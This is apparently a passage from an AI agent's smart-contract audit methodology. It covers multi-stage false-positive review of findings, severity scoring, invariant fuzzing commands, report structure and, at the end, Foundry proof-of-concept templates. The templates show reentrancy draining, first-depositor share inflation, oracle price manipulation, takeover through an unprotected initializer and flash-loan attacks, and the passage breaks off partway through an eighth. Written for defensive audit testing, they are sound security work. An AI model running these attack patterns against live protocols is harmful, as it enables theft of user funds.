Evidence Depth Summary Table in `fp-gate.md`. Any check below minimum → finding moved to "Below Confidence Threshold". Calculate confidence score with all applicable deductions. If score < 40 → DROP. ## 4.4 Adversarial Verification *(UPGRADED — from exvul methodology with isolated per-finding review)* For each surviving finding, apply formal adversarial review with **mandatory isolation**: **Core Stance (MANDATORY)**: "This is likely a false positive unless local evidence proves exploitability." **Isolation Constraints (MANDATORY)**: Each finding must be verified by a fresh reviewer instance with NO carry-over context. **Allowed input per finding**: 1. Finding payload (title, description, severity, attack path) 2. Local code excerpt around `file:line` (±20 lines of context) **Disallowed**: - Cross-finding memory (cannot reference other findings) - Global conclusions imported from previous decisions - Optimistic assumptions without direct local evidence **Required Decision Schema**: ```json { "decision": "false_positive | valid | valid_downgraded", "downgraded_severity": "Critical|High|Medium|Low|Informational|", "confidence": 0.0, "confidence_basis": "what evidence made confidence high/medium/low", "explanation": "short technical rationale" } ``` **Confidence Rule**: Do not reuse fixed defaults. Set confidence from evidence quality: - Exploit path complete + strong local proof → higher confidence (0.7-1.0) - Missing preconditions or uncertain control flow → lower confidence (0.3-0.6) - Speculative or requires extensive assumptions → very low confidence (0.0-0.2) **Decision Application**: - `false_positive`: Remove from final findings - `valid`: Keep unchanged - `valid_downgraded`: Keep with lower severity and explicit severity transition **Output Format**: ``` [ADVERSARIAL-{N}] {Finding ID} ├── Decision: {false_positive | valid | valid_downgraded} ├── Original Severity: {Critical|High|Medium|Low} ├── Final Severity: {Critical|High|Medium|Low} ├── Confidence: {0.0-1.0} ├── Confidence Basis: {what evidence made confidence high/medium/low} └── Explanation: {short technical rationale} ``` **Mandatory Summary**: ``` ADVERSARIAL VERIFICATION SUMMARY: ├── Valid: {N} ├── Valid Downgraded: {N} ├── False Positive Dropped: {N} └── Total Reviewed: {N} ``` ## 4.5 Economic Triager Validation *(NEW — from Forefy)* For each surviving finding, apply **budget-conscious triager** that actively tries to disprove: **Default stance**: "This finding is likely invalid. Prove otherwise." **4 Triager Checks** (each must pass or finding is downgraded/dismissed): 1. **Technical Disproof Attempt**: Actively try to prove the finding is NOT exploitable - Test the attack path with concrete values - Check if protocol protections exist that initial analysis missed - Verify contract locations and line numbers are accurate - Log result in `audit-debug.md` 2. **Economic Feasibility Check**: Calculate realistic attack economics - Gas cost of the attack at current gas prices - Flash loan fees required (typically 0.09% on Aave) - Capital requirements and opportunity cost - Sandwich/MEV profitability threshold - Is the attack **economically rational** for a real attacker? - Log calculation in `audit-debug.md`: `[TRIAGER] {finding-id}: gas=$X, flash_loan_fee=$Y, profit=$Z → rational/irrational` 3. **Evidence Chain Validation**: Every link must be verified ``` Code Pattern Observed → Vulnerability Type → Attack Vector → Business Impact → Risk Assessment ``` Missing link = finding is downgraded. 4. **Cross-Finding Consistency**: Check all findings for logical contradictions - Does Finding A's exploit assume a protection that Finding B says is missing? - Are severity levels consistent across similar finding types? **Triager Verdict Classification**: | Verdict | Criteria | Action | |---|---|---| | **VALID** | Cannot be disproved. Economically rational. Full evidence chain. | Keep with severity | | **QUESTIONABLE** | Technical issue exists but economic viability unclear. | Mark for additional proof | | **OVERCLASSIFIED** | Valid but severity exaggerated. | Downgrade severity | | **DISMISSED** | Disproved technically or economically. | Remove with documented reasoning | ## 4.6 Severity Formula *(from Forefy — conservative)* Apply quantitative severity scoring: ``` Base Score = Impact × Likelihood × Exploitability Final Score = Base Score (if borderline, round DOWN) ``` | Factor | Score 3 (High) | Score 2 (Medium) | Score 1 (Low) | |---|---|---|---| | **Impact** | Complete compromise, TVL >$1M at risk | Significant loss >$100k, major disruption | Limited loss <$100k, minor impact | | **Likelihood** | In core user flows, easily discoverable | Requires moderate knowledge + specific conditions | Requires expert knowledge + perfect timing | | **Exploitability** | Single tx, flash-loan enabled, guaranteed profit | Multi-tx, requires capital, timing dependent | Requires governance, extensive setup | | Score Range | Severity | |---|---| | 18-27 | CRITICAL | | 8-17 | HIGH | | 4-7 | MEDIUM | | 1-3 | LOW | **Conservative rule**: When uncertain between two severity levels, ALWAYS choose the LOWER one. ## 4.7 Verdict **NO VULNERABILITY**: Document refutation steps, specific constraints preventing exploit, confidence level. **VULNERABILITY CONFIRMED**: Produce finding in output format, then proceed to Phase 4.8 for iterative depth. ## 4.8 Iterative Depth Loop with Anti-Dilution *(NEW — from Plamen's adaptive depth architecture)* **MANDATORY for deep/beast modes. Recommended for standard.** After Phase 4 initial analysis completes, run iterative depth to catch what confirmation bias prevented in the first pass. ### Iteration Model - **Iteration 1**: Full coverage depth analysis (already completed in Phase 4.1-4.7) - **Iteration 2**: Targeted Devil's Advocate re-analysis of UNCERTAIN findings (composite score 0.40-0.69) - **Iteration 3**: Final targeted pass if ANY uncertain finding remains at Medium+ severity - **Hard cap**: Maximum 3 iterations total ### Convergence Criteria 1. **Zero uncertain**: If 0 findings score < 0.70 after any iteration → exit loop 2. **No progress**: If NO finding's confidence improved in an iteration → exit loop early 3. **Iteration 2 skip policy**: May ONLY be skipped if ALL uncertain findings are Low/Info severity. If ANY uncertain finding is Medium+ → iteration 2 is **MANDATORY** 4. **Forced CONTESTED**: After all iterations, any finding still < 0.40 → forced to CONTESTED verdict ### Anti-Dilution Rules *(from Plamen — prevents reasoning contamination between iterations)* **Rule AD-1: Evidence-Only Carryover** Between iterations, carry forward ONLY: - Finding ID, title, location, evidence code references (file:line) - Evidence source tags (`[CODE]`, `[PROD-ONCHAIN]`, etc.) - Current confidence score - A focused investigation question - **Analysis path summary** (1-2 sentences): What the previous agent analyzed and HOW it reasoned — NOT what it concluded. Example: *"Iteration 1 traced numerator manipulation via supply inflation; did not explore divisor staleness or timestamp anchor."* **Explicitly excluded**: All prior verdicts, confidence assessments, and cross-references. **Rule AD-2: Hard Devil's Advocate Role** Iteration 2+ agents receive this STRUCTURAL adversarial framing (research shows soft "think critically" instructions produce <50% divergence; hard DA role produces >99%): > *"You are the Devil's Advocate Depth Agent. Your PRIMARY job is to find what the previous analysis MISSED — not to re-confirm what it found. For each finding you investigate:* > *1. Read the analysis path summary (what was explored). Your job is to explore what was NOT.* > *2. For each CONFIRMED conclusion: ask 'what adjacent bug does this analysis OBSCURE?'* > *3. For each REFUTED conclusion: ask 'what enabler makes this exploitable after all?'* > *4. You MUST produce at least one finding or observation that CONTRADICTS or EXTENDS the previous analysis."* **Rule AD-3: Focused Input Cap** Each iteration 2+ agent receives at most **5 uncertain findings** in its domain. Prioritize by lowest confidence score. **Rule AD-4: Fresh Tool Calls Mandatory** Iteration 2+ agents MUST make their own MCP tool calls (`mcp__claudit__search_findings`, `mcp__sc-auditor__run-slither`) rather than relying on summaries from iteration 1. **Rule AD-5: New-Evidence-Only Re-Scoring** Re-scoring after iteration 2+ only upgrades confidence if the agent produced **NEW evidence** — a new code reference, a new MCP tool output, or a new production verification result. Merely restating the same analysis = zero confidence change. ### Finding Card Format for Iteration 2+ ```markdown ## Finding [XX-N]: Title - **Location**: SourceFile:L45-L67 - **Evidence**: [CODE] — validation check at L45; [CODE] — state update at L52 - **Confidence**: 0.42 - **Evidence Gap**: [What specific evidence is missing] - **Prior Path**: [1-2 sentence analysis path summary — what was explored, not concluded] - **Investigate**: [Focused question for the DA agent] ``` --- ## Phase 4.85: SEMANTIC INVARIANT DUAL-PASS *(NEW — from Plamen's semantic invariant architecture)* **MANDATORY for deep/beast modes. Skip for light/quick/standard.** This phase is distinct from the invariant framework defined in Phase 2.3. Phase 2.3 categorizes invariants (Safety, Liveness, Economic, Composability). This phase **exhaustively traces** each invariant across ALL code paths to prove or disprove preservation. ### Pass 1: Invariant Extraction Extract ALL invariants from: - **Code**: require/assert statements, comments mentioning "should always", "must never", "invariant" - **Documentation**: Protocol docs, README, specification files - **Economic**: Token supply conservation, exchange rate monotonicity, fee collection completeness - **Structural**: Storage layout assumptions, initialization completeness, access control hierarchy - **Phase 2.3 categories**: Expand each Safety/Liveness/Economic/Composability category into concrete testable properties For each invariant, produce: ``` [SEMANTIC-INV-{N}] {Invariant statement} ├── Source: {code comment / documentation / economic property} ├── Variables: {state variables involved} ├── Functions: {all functions that could violate} └── Category: {Safety / Liveness / Economic / Composability} ``` ### Pass 2: Recursive Trace (MANDATORY) For EACH invariant from Pass 1, perform a **recursive function trace**: 1. **List ALL functions** that read or write ANY variable in the invariant 2. **For EACH function**: a. Pre-condition: Is the invariant guaranteed true at function entry? b. Body: Does the function maintain the invariant through ALL execution paths (including reverts, early returns, and reentrancy windows)? c. Post-condition: Is the invariant guaranteed true at function exit? d. Mid-execution window: Is there a window between external calls where the invariant is temporarily broken AND an external observer could exploit this? 3. **Cross-function analysis**: Can a sequence of 2-3 function calls break the invariant even if each individual call preserves it? 4. **State transition completeness**: For symmetric operations (deposit/withdraw, mint/burn), verify ALL state fields modified in the positive branch are also modified in the negative branch **For each violation found:** ``` [SEMANTIC-VIOLATION-{N}] Invariant {INV-ID} broken by {function} ├── Invariant: {invariant statement} ├── Violation Path: {function call sequence} ├── Temporary Window: {yes/no — duration if yes} ├── Exploitable: {yes/no — how attacker triggers} └── Priority: {Critical / High / Medium / Low} ``` All violations feed into the FP Gate (Phase 4.3) for validation before inclusion in the report. --- ## Phase 4.9: SKEPTIC-JUDGE — Independent Adversarial Agent *(NEW — from Plamen/OmniGuard)* **MANDATORY for standard+ modes.** This is a COMPLETELY INDEPENDENT adversarial agent that receives findings AFTER the triager validation (Phase 4.5) and attempts to destroy them from a purely technical standpoint. ### Why This Exists (Separation of Concerns) - **Phase 4.3 (FP Gate)**: Checks performed by the SAME agent that found the bug → confirmation bias risk - **Phase 4.4 (Adversarial Verification)**: Isolation-constrained review but still within the orchestrator's context - **Phase 4.5 (Economic Triager)**: Budget-focused validation (is it worth paying for?) - **Phase 4.9 (Skeptic-Judge)**: FRESH agent with ZERO prior context whose ONLY job is DESTRUCTION ### Skeptic-Judge Protocol **Input**: Each finding's ID, title, severity, affected code location, and evidence chain. **NO prior analysis context, NO confidence scores, NO triager verdicts.** **Skeptic-Judge Mandate**: > *"You are the Skeptic-Judge. You have NEVER SEEN this code before. You receive one finding at a time. Your PRIMARY JOB is to PROVE IT FALSE. You are incentivized to destroy findings — every finding you validate COSTS THE PROTOCOL MONEY. You approach each finding with MAXIMUM SKEPTICISM.* > > *For each finding:* > *1. Read ONLY the affected code (±50 lines of context). Do NOT read prior analysis.* > *2. Attempt 5 independent technical disproof strategies:* > *a. Guard hunting: Search the ENTIRE codebase for guards that prevent the exploit (modifiers, inherited contracts, library protections, compiler protections)* > *b. State precondition challenge: Can the required precondition state ACTUALLY be reached via legitimate transaction sequences?* > *c. Value range challenge: Do the claimed attack values survive realistic bounds (gas costs, block gas limits, token supplies)?* > *d. Timing challenge: Does the attack require impractical timing (multi-block manipulation, oracle TWAP window longer than stated)?* > *e. Dependency challenge: Does the attack require external dependencies (tokens, protocols, oracles) to behave in ways they provably don't?* > *3. If ALL 5 disproof attempts fail → finding SURVIVES (reluctantly valid)* > *4. If ANY disproof attempt succeeds → finding DESTROYED with evidence"* **Scope per Mode**: | Mode | Findings Reviewed | Detail Level | |------|------------------|--------------| | `standard` | High + Critical only | 3 disproof strategies (a, b, c) | | `deep` | Medium + High + Critical | All 5 disproof strategies | | `beast` | ALL findings (including Low) | All 5 strategies + mandatory fresh MCP tool calls | **Skeptic-Judge Output Format**: ``` [SKEPTIC-{N}] Finding {ID}: {Title} ├── Disproof (a) Guard Hunt: {PASS/FAIL} — {evidence} ├── Disproof (b) State Precondition: {PASS/FAIL} — {evidence} ├── Disproof (c) Value Range: {PASS/FAIL} — {evidence} ├── Disproof (d) Timing: {PASS/FAIL} — {evidence} (deep+ only) ├── Disproof (e) Dependency: {PASS/FAIL} — {evidence} (deep+ only) ├── Verdict: {DESTROYED | SURVIVED | DOWNGRADED} ├── Confidence Adjustment: {+0.10 if survived all 5 | -0.15 per failed strategy} └── Reasoning: {1-2 sentences explaining why finding lives or dies} ``` **Integration with Pipeline**: - Findings DESTROYED by Skeptic-Judge are removed from the report (logged in `audit-debug.md`) - Findings SURVIVED get a +0.10 confidence boost (survived independent adversarial review) - Findings DOWNGRADED have severity reduced with documented reasoning - Skeptic-Judge statistics logged in Audit Trace Summary --- ## Phase 4.5: NEMESIS CONVERGENCE LOOP *(beast mode only)* Read `{resolved_path}/references/nemesis-convergence.md` for full loop instructions. ### Pass 1: Feynman Auditor Question every line using the 7 Feynman questions. Expose assumptions. Flag suspects with [FQ-N] format. ### Pass 2: State Inconsistency Auditor Map every coupled state pair. Find mutation gaps. Use Feynman suspects as targets. Flag with [SI-N] format. ### Pass 3-6: Alternating Targeted Passes Each pass interrogates the previous pass's NEW findings only. **Convergence**: Stop when 2 consecutive passes produce zero new findings, or 6 passes reached. ### Merge with Phase 4 Findings - Deduplicate by root cause (keep higher-confidence version) - Cross-feed confirmation (FQ + SI on same code) = merge with +10 confidence boost - All merged findings enter Phase 5 for validation ## references/phase-6-fuzz.md # Phase 6: FUZZ — Invariant Fuzz Generator *(UPGRADED — from Plamen's LLM-driven invariant test architecture)* **MANDATORY for deep/beast modes. Skip for quick/standard.** ## 6.0 Invariant Derivation *(NEW — from Plamen)* **Do NOT use generic test templates.** Derive invariants from the actual audit artifacts: | Source | Category | What to Derive | |--------|----------|---------------| | Phase 1.5 (Business Context) | Protocol-specific economic | Core protocol guarantees (e.g., `totalBorrows <= totalDeposits`, `sharePrice monotonically increasing`) | | Phase 3.5 (Findings Inventory) | Finding-derived | For each Medium+ finding: "What invariant would CATCH this bug mechanically?" | | Phase 2 (Function Map) | Lifecycle invariants | For each lifecycle (deposit→withdraw, borrow→repay): verify net token deltas are zero minus fees | | Phase 3.H (Data Flow) | Structural invariants | Mirror variables synchronized, accumulators bounded, conditional writes not stale | | Phase 4.3 (FP Gate) | Boundary invariants | Constraint variables stay within documented bounds after any operation sequence | **No cap on invariant count** — Forge execution is zero token cost regardless of count. Write as many `invariant_` functions as the protocol has meaningful properties. ## 6.1 Generate Handler Contract *(UPGRADED — from Plamen)* Write a Foundry test file to `test/invariant/InvariantFuzz.t.sol`: **Handler Rules** *(from Plamen)*: - Include ALL public/external state-mutating functions — no cap on handler count - Use `try/catch` for external calls — handlers must not revert (reverts hide bugs) - Include `vm.warp(bound(dt, 1, 365 days))` handlers for time-dependent protocols - Include `vm.prank(user)` for multi-actor scenarios — at least 2 distinct users - **Lifecycle sequence handlers** (MANDATORY): Execute full create→use→close flows atomically - **Partial lifecycle handlers**: Enter position but don't exit — tests abandoned positions **Value bounds** — use protocol-realistic ranges: - Token amounts: `bound(amount, 1, 1_000_000 * 10**decimals)` - Fees/rates: `bound(fee, 0, 10_000)` for BPS, `bound(rate, 0, 1e18)` for WAD - Time deltas: `bound(dt, 1, 365 days)` for interest, `bound(dt, 0, 7 days)` for operational - Read constraint variables from Phase 2 for protocol-specific bounds ## 6.2 Compile and Run Campaign ```bash # Compile (max 5 retry attempts on failure) forge build 2>&1 | tail -30 # Run — 256 runs × depth 25 (3-10 minutes, zero token cost) timeout 600 forge test --match-contract InvariantFuzz --invariant-runs 256 --invariant-depth 25 --fail-on-revert false -vv 2>&1 | head -300 ``` ## 6.3 PoC Fuzz Variants *(NEW — from Plamen)* For every Medium+ confirmed finding from Phase 4, write a SECOND test with key parameters fuzzed: ```bash forge test --match-test testFuzz_{finding_id} -vvv ``` This explores the neighborhood around each finding mechanically — catching attack variants the agent didn't manually consider. If the specific PoC failed but the fuzz variant finds a violation → report the working variant. ## 6.4 Multi-Chain Fuzz Support *(NEW — from Plamen)* | Chain | Tool | Command | Notes | |-------|------|---------|-------| | **EVM (Foundry)** | Forge invariant | `forge test --match-contract InvariantFuzz --invariant-runs 256 --invariant-depth 25` | Primary | | **EVM (Echidna)** | Echidna | `echidna-test . --test-limit 100000 --seq-len 100` | beast mode only | | **EVM (Medusa)** | Medusa stateful | `medusa fuzz --target ./src --seq-len 100 --test-limit 50000 --timeout 900` | beast mode — parallel with Forge | | **Solana (Anchor)** | Trident (preferred) | `cd trident-tests && trident fuzz run fuzz_0` | v0.11+ uses built-in TridentSVM. Found Critical bugs in Kamino, Marinade, Wormhole | | **Solana (native)** | proptest (fallback) | `cargo test test_fuzz_* -- --nocapture` | Use `proptest!` macro with bounded inputs | | **Aptos / Sui** | Parameterized tests | Multiple `#[test]` with boundary values | No fuzzer — test min/mid/max concrete values | ## 6.5 Results Report Write to output directory: ```markdown # Invariant Fuzz Results | # | Invariant | Category | Source | Status | Counterexample | Related Finding | |---|-----------|----------|--------|--------|---------------|----------------| ``` Violations become depth agent input — they provide concrete counterexamples. Evidence tag: `[POC-PASS]` (mechanical proof). ## references/phase-7-report.md # Phase 7: REPORT — Final Deliverable ## 7.1 Finding Classification | Level | Label | Criteria | |-------|-------|----------| | P0 | CRITICAL | Complete fund loss, exploitable by anyone, working PoC required | | P1 | HIGH | Significant loss (10-50% TVL), moderate capital/skill, PoC required | | P2 | MEDIUM | Minor loss (<10%), specific conditions, PoC recommended | | P3 | LOW | Minimal impact, best practice violations | | P4 | INFO | Gas optimizations, code quality, documentation | ## 7.2 Report Structure *(UPGRADED — from Forefy + solidity-auditor-skills)* Generate `VEERSKILLS_AUDIT_REPORT.md` in the versioned output directory with: 1. **Executive Summary** *(enhanced from Forefy)*: - **Protocol Overview**: What DeFi problem does this solve? Industry vertical, unique features - **User Profile**: Primary users, interaction patterns, funds at stake - **Total Value Locked**: Current or expected TVL - **Security Budget**: Estimated budget range based on TVL (~10% of TVL) - **Threat Model Summary**: Primary threats identified (from Phase 1.6) - Economic attackers targeting [specific mechanisms] - Flash loan exploits affecting [specific functions] - Governance attacks on [specific parameters] - Oracle manipulation risks in [specific feeds] - **Security Posture Assessment**: Overall Risk Level (High/Medium/Low) - **Findings Summary Table**: Count by severity (X Critical, Y High, Z Medium, W Low) - **Key Risk Areas**: Top 3 numbered risk areas with protocol context 2. **Scope Table** *(NEW — from solidity-auditor-skills)*: Present in-scope contracts in a clean table format: ```markdown | Contract | SLOC | Purpose | Libraries | |----------|------|---------|-----------| | Vault.sol | 342 | Core deposit/withdraw logic | OpenZeppelin, Solmate | | Strategy.sol | 156 | Yield generation | Uniswap V3 | | Oracle.sol | 89 | Price feeds | Chainlink | ``` - **SLOC**: Source Lines of Code (excluding comments/blanks) - **Purpose**: One-sentence description - **Libraries**: Key external dependencies 3. **Table of Contents — Findings** *(from Forefy)*: Include triager status for each finding: ``` ### Critical Findings - C-1 [Impact] via [Weakness] in [Feature] (VALID) - C-2 [Impact] via [Weakness] in [Feature] (QUESTIONABLE) ### High Findings - H-1 [Impact] via [Weakness] in [Feature] (VALID) - H-2 [Impact] via [Weakness] in [Feature] (DISMISSED) ### Medium / Low / Info ... ``` 4. **Critical Findings**: Full details + PoC + attack scenario + mitigation + triager validation (sorted by confidence) 5. **High Findings**: Full details + PoC + attack scenario + mitigation + triager validation 6. **Medium Findings**: Description, impact, recommended fix, triager verdict 7. **Low/Informational**: Description, best practice reference, triager verdict 8. **Confidence Threshold Separator** *(NEW — from solidity-auditor-skills)*: Insert a clear visual separator before findings with confidence < 80: ```markdown --- ## Below Confidence Threshold (60-79) The following findings have confidence scores between 60-79. They represent potential issues that require additional validation or have uncertain exploitability. These are included for completeness but should be prioritized lower than confirmed findings above. --- ``` 9. **Below Confidence Threshold**: Findings with confidence 40-79 (description only, no fix) 10. **Statistical Analysis**: Code metrics, vulnerability distribution by class, vector triage summary 11. **Security Posture (SWOT)**: Strengths, weaknesses, opportunities, threats 12. **Coverage Analysis**: Protocol layer coverage (from Phase 2.4 Coverage Plan) 13. **Testing Summary**: Static analysis results, dynamic analysis, manual review, vector coverage 14. **Appendix**: Tools used, coverage reports, PoC code, commit hash, debug log summary --- ## Phase 7.5: MISSED-BUG SELF-AUDIT *(NEW — mandatory all modes)* **MANDATORY** — prevents coverage blind spots from going undetected. The most dangerous audit failure is not a false positive — it's a missed bug. ### 7.5.1 Coverage Verification For each protocol component identified in Phase 2, verify: ``` □ Component was read and analyzed by at least one agent □ At least one attack vector was triaged for relevance □ Static analysis tools scanned the component □ If complex: function-level analysis completed ``` ### 7.5.2 Missed Pattern Cross-Check Compare against known missed-bug patterns from `references/missed-bug-patterns.md`: ``` □ Complex state transitions with multiple conditions □ Permissionless functions with economic externalities □ View functions that affect state elsewhere □ Constructor/initialization edge cases □ Upgradeable contract state migration □ Cross-contract composability edge cases ``` ### 7.5.3 Self-Audit Output Include in the report appendix: ``` ## Missed-Bug Self-Audit Results - Components Verified: {N}/{Total} - Coverage Gaps Identified: {N} (with remediation) - Missed-Pattern Cross-Check: {PASS/FAIL — which patterns} - Confidence in Coverage: {0-100%} — remaining uncertainty areas ``` If coverage gaps are identified → log them and note as "areas requiring additional review" in the report. ## references/poc-templates.md # PoC Templates Proof of Concept templates for every major vulnerability class. Every Critical/High finding **MUST** have a working PoC. Medium findings SHOULD have PoCs. --- ## Base Template (Foundry Fork Test) All PoCs should extend this base: ```solidity // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "forge-std/Test.sol"; import "forge-std/console.sol"; contract BasePoCTest is Test { // Fork configuration string constant RPC_URL = "RPC_URL"; // Configure via environment or foundry.toml uint256 fork; // Actors address attacker = makeAddr("attacker"); address victim = makeAddr("victim"); address admin = makeAddr("admin"); function setUp() public virtual { // Option A: Fork mainnet // fork = vm.createSelectFork(vm.envString(RPC_URL)); // Load from environment configuration // Option B: Local deployment // Deploy contracts here } // Helper: Fund an address with ETH and tokens function _fund(address who, address token, uint256 amount) internal { deal(token, who, amount); deal(who, 100 ether); // ETH for gas } // Helper: Log balances for audit trail function _logBalances(string memory label, address who, address token) internal view { console.log("--- %s ---", label); console.log("ETH:", who.balance); console.log("Token:", IERC20(token).balanceOf(who)); } } ``` --- ## Template 1: Reentrancy PoC ```solidity contract ReentrancyPoC is BasePoCTest { IVault vault; IERC20 token; MaliciousReceiver attackContract; function setUp() public override { super.setUp(); // Deploy or connect to vulnerable vault // vault = IVault(address(new VulnerableVault(address(token)))); attackContract = new MaliciousReceiver(address(vault), address(token)); } function test_reentrancy_drain() public { // 1. Seed vault with victim funds uint256 vaultBalance = 100 ether; _fund(victim, address(token), vaultBalance); vm.startPrank(victim); token.approve(address(vault), vaultBalance); vault.deposit(vaultBalance, victim); vm.stopPrank(); // 2. Attacker deposits small amount uint256 attackDeposit = 1 ether; _fund(attacker, address(token), attackDeposit); vm.startPrank(attacker); token.transfer(address(attackContract), attackDeposit); vm.stopPrank(); // 3. Execute reentrancy attack uint256 balanceBefore = token.balanceOf(address(attackContract)); attackContract.attack(attackDeposit); uint256 balanceAfter = token.balanceOf(address(attackContract)); // 4. Assert profit uint256 profit = balanceAfter - balanceBefore; console.log("Attack profit:", profit); assertGt(profit, 0, "Reentrancy attack should be profitable"); assertGt(profit, attackDeposit, "Should drain more than deposited"); } } contract MaliciousReceiver { IVault vault; IERC20 token; uint256 attackCount; uint256 maxReentries = 5; constructor(address _vault, address _token) { vault = IVault(_vault); token = IERC20(_token); } function attack(uint256 amount) external { token.approve(address(vault), amount); vault.deposit(amount, address(this)); vault.withdraw(amount, address(this), address(this)); } // ERC-777 callback OR receive() for ETH receive() external payable { if (attackCount < maxReentries && address(vault).balance > 0) { attackCount++; vault.withdraw(1 ether, address(this), address(this)); } } } ``` --- ## Template 2: Share Inflation / First Depositor PoC ```solidity contract ShareInflationPoC is BasePoCTest { IVault vault; IERC20 token; function setUp() public override { super.setUp(); // Deploy vault and token } function test_first_depositor_inflation() public { // 1. Attacker is first depositor — deposits minimal amount _fund(attacker, address(token), 1); vm.startPrank(attacker); token.approve(address(vault), 1); vault.deposit(1, attacker); // Gets 1 share for 1 wei vm.stopPrank(); assertEq(vault.balanceOf(attacker), 1, "Attacker should have 1 share"); // 2. Attacker donates large amount directly to vault uint256 donationAmount = 10_000e18; deal(address(token), attacker, donationAmount); vm.prank(attacker); token.transfer(address(vault), donationAmount); // 3. Victim deposits reasonable amount uint256 victimDeposit = 5_000e18; _fund(victim, address(token), victimDeposit); vm.startPrank(victim); token.approve(address(vault), victimDeposit); vault.deposit(victimDeposit, victim); vm.stopPrank(); uint256 victimShares = vault.balanceOf(victim); console.log("Victim deposited:", victimDeposit); console.log("Victim shares:", victimShares); // 4. Assert vulnerability: victim gets 0 shares assertEq(victimShares, 0, "VULNERABLE: Victim got 0 shares — first depositor inflation!"); // 5. Attacker redeems to steal victim's deposit vm.prank(attacker); uint256 attackerRedeemed = vault.redeem(vault.balanceOf(attacker), attacker, attacker); console.log("Attacker redeemed:", attackerRedeemed); assertGt(attackerRedeemed, donationAmount, "Attacker profits from victim's deposit"); } } ``` --- ## Template 3: Oracle Manipulation PoC ```solidity contract OracleManipulationPoC is BasePoCTest { ILendingPool pool; IOracle oracle; IUniswapV2Router router; IERC20 collateralToken; IERC20 borrowToken; function test_oracle_manipulation_borrow() public { // 1. Record price before manipulation uint256 priceBefore = oracle.getPrice(address(collateralToken)); console.log("Price before:", priceBefore); // 2. Flash loan to manipulate reserves vm.startPrank(attacker); uint256 flashAmount = 1_000_000e18; deal(address(borrowToken), attacker, flashAmount); // Massive swap to move price borrowToken.approve(address(router), flashAmount); address[] memory path = new address[](2); path[0] = address(borrowToken); path[1] = address(collateralToken); router.swapExactTokensForTokens(flashAmount, 0, path, attacker, block.timestamp); // 3. Check manipulated price uint256 priceAfter = oracle.getPrice(address(collateralToken)); console.log("Price after manipulation:", priceAfter); assertGt(priceAfter, priceBefore * 2, "Price should be inflated"); // 4. Deposit collateral at inflated price, borrow against it uint256 collateralAmount = collateralToken.balanceOf(attacker); collateralToken.approve(address(pool), collateralAmount); pool.deposit(address(collateralToken), collateralAmount); uint256 maxBorrow = pool.getMaxBorrow(attacker, address(borrowToken)); pool.borrow(address(borrowToken), maxBorrow); // 5. Swap back to restore price (optional — already profited) vm.stopPrank(); console.log("Borrowed amount:", maxBorrow); console.log("Attacker profit:", maxBorrow - flashAmount); } } ``` --- ## Template 4: Access Control Bypass PoC ```solidity contract AccessControlBypassPoC is BasePoCTest { IProtocol protocol; function test_unprotected_initialize() public { // Get implementation address (behind proxy) address implementation = _getImplementation(address(protocol)); // Anyone can call initialize on unprotected implementation vm.prank(attacker); (bool success,) = implementation.call( abi.encodeWithSignature("initialize(address)", attacker) ); assertTrue(success, "Initialize should succeed on unprotected impl"); // Now attacker is owner of implementation address owner = IOwnable(implementation).owner(); assertEq(owner, attacker, "Attacker is now owner of implementation"); } function test_missing_access_control() public { // Attacker calls admin function without restriction vm.prank(attacker); protocol.setFee(10000); // 100% fee assertEq(protocol.fee(), 10000, "Attacker changed fee without auth"); } function _getImplementation(address proxy) internal view returns (address) { bytes32 slot = bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1); return address(uint160(uint256(vm.load(proxy, slot)))); } } ``` --- ## Template 5: Flash Loan Attack PoC ```solidity contract FlashLoanAttackPoC is BasePoCTest { IVault vault; IAaveFlashLoan flashLoanProvider; IERC20 token; function test_flash_loan_exploit() public { // Seed vault with TVL _fund(address(vault), address(token), 1_000_000e18); // Execute flash loan attack vm.startPrank(attacker); uint256 balanceBefore = token.balanceOf(attacker); // Request flash loan flashLoanProvider.flashLoan( address(this), // receiver address(token), // asset 10_000_000e18, // amount abi.encode(/* attack params */) ); uint256 balanceAfter = token.balanceOf(attacker); uint256 profit = balanceAfter - balanceBefore; console.log("Flash loan profit:", profit); assertGt(profit, 0, "Flash loan attack should be profitable"); vm.stopPrank(); } // Flash loan callback function executeOperation( address asset, uint256 amount, uint256 premium, address initiator, bytes calldata params ) external returns (bool) { // 1. Use flash-loaned funds to manipulate // 2. Extract value from vulnerable protocol // 3. Repay flash loan + premium IERC20(asset).approve(address(flashLoanProvider), amount + premium); return true; } } ``` --- ## Template 6: Cross-Function Sequence PoC ```solidity contract CrossFunctionPoC is BasePoCTest { IProtocol protocol; function test_deposit_upgrade_withdraw() public { // Phase 1: User deposits vm.startPrank(victim); protocol.deposit{value: 10 ether}(); uint256 sharesBefore = protocol.balanceOf(victim); vm.stopPrank(); // Phase 2: Admin upgrades (simulated) vm.startPrank(admin); // Deploy new implementation with storage layout change address newImpl = address(new NewImplementation()); protocol.upgradeToAndCall(newImpl, ""); vm.stopPrank(); // Phase 3: User withdraws — does state survive upgrade? vm.startPrank(victim); uint256 sharesAfter = protocol.balanceOf(victim); assertEq(sharesAfter, sharesBefore, "Shares corrupted by upgrade!"); uint256 withdrawn = protocol.withdraw(sharesAfter); assertGe(withdrawn, 10 ether, "User should get back at least their deposit"); vm.stopPrank(); } } ``` --- ## Template 7: Reverse Impact PoC (for [REVERSE-*] findings) ```solidity contract ReverseImpactPoC is BasePoCTest { IProtocol protocol; IERC20 token; function test_reverse_impact_fund_drain() public { // 1. Setup: Protocol has TVL from honest users uint256 tvl = 100_000e18; _fund(address(protocol), address(token), tvl); // 2. Attacker arranges preconditions identified by backward trace vm.startPrank(attacker); uint256 attackerInitialBalance = token.balanceOf(attacker); // 3. Execute the attack path discovered via reverse impact hunt // Each step corresponds to a hop in the backward trace // Step A: [first hop from REVERSE finding] // Step B: [second hop] // Step C: [terminal action that produces catastrophic outcome] uint256 attackerFinalBalance = token.balanceOf(attacker); uint256 protocolFinalBalance = token.balanceOf(address(protocol)); vm.stopPrank(); // 4. Assert catastrophic outcome occurred uint256 profit = attackerFinalBalance - attackerInitialBalance; console.log("Attacker profit:", profit); console.log("Protocol loss:", tvl - protocolFinalBalance); assertGt(profit, 0, "Attacker should profit from the attack"); assertLt(protocolFinalBalance, tvl, "Protocol should have lost funds"); } } ``` --- ## Template 8: Boundary Value PoC (for [BOUNDARY-*] findings) ```solidity contract BoundaryValuePoC is BasePoCTest { IProtocol protocol; IERC20 token; function test_boundary_zero_totalSupply() public { // Test: What happens when totalSupply == 0 (first deposit)? // This is the most common boundary value bug 